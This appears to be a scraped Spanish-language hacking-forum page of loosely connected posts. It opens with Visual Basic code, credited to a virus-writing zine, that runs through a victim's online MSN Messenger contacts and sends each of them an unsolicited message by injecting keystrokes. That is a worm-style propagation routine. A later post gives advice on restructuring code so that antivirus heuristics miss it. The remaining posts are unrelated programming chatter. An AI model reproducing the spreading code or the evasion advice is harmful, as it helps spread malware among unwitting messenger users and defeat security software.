Mensajes

extraido de la vieja Mitosis 3>

http://madchat.org/vxdevl/vxmags/mitosis3/articulos/nemlim/MSN.html

Código [Seleccionar] Expandir


Set w = CreateObject("Messenger.UIAutomation")
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If ConTacto.Status = 2 Then 'Si el contacto esta OnLine...
Set iMsn = w.InstantMessage(ConTacto.SigninName) 'abrimos la ventana de chat
Call SpamMsn(iMsn.hwnd) 'Esta funcion es la que hace el trabajo
Next

Private Sub SpamMsn(ByVal mHwnd)
On Error Resume Next
Dim l As Long, spam As String

l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'Buscamos esa clase dentro de la ventana
If l = 0 Then Exit Sub 'Si no es asi, nos vamos al carajo
Call SendText(l, "visita Elhacker.net") 'Mensaje a enviar
End Sub


Public Sub SendText(pIMWindow As Long, sText As String)
Dim hDirectUI As Long, hPrevWnd As Long
Dim i As Integer
hDirectUI = pIMWindow
Do
Call SetForegroundWindow(hDirectUI)
Loop Until GetForegroundWindow = hDirectUI
For i = 1 To Len(sText)
Call PostMessage(hDirectUI, WM_CHAR, Asc(Mid(sText, i, 1)), 0&)
Next i
Call PostMessage(hDirectUI, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(hDirectUI, WM_KEYUP, VK_RETURN, 0&)
End Sub




Salu2.

lo suponia.

alguien sabe como agregar muchos formularios MDI en un solo proyecto? trate de agregarlos en tiempo real pero no funciona con el clasico> set m = new mdiform1

alguna idea? se los agradecere de alguna manera.

Salu2.

eso es porque los motores de los av estan preparados para descifrar cadenas con Xor. Si bien, puedes cifrar todas las cadenas con otro tipo de encriptacion, la heuristica tambien detecta si hay 2 llamadas a funciones potencialmente peligrosas en la misma rutina o funcion, o si hay declaradas en el form ciertas apis muy comunes por los troyanos, o cosas asi, no es solo cifrar e irse a dormir, para que la heuristica no salte es necesario una restructuracion total del codigo, haciendolo casi ilegible para el programador. es la unica manera y aun asi no es facil :S

NEW VERSION.
*fixed BuildPath function.

yo hice mi propio skin. tube que subclasificar los formularios, y varios quilombos mas, y no quedo muy bien por que cuando se resiza la imagen se repinta, en fin creo que usando el bitblt se puede arreglar.

Salu2.

45,8 MB (48.075.732 bytes)

o tambien:

http://foro.elhacker.net/index.php/topic,103130.msg481988.html#msg481988

Salu2.

vos? VB?

pero no es visual basic. es como confundir C con C# con C++ son 3 lenguajes diferentes, aunque usen las mismas palabras.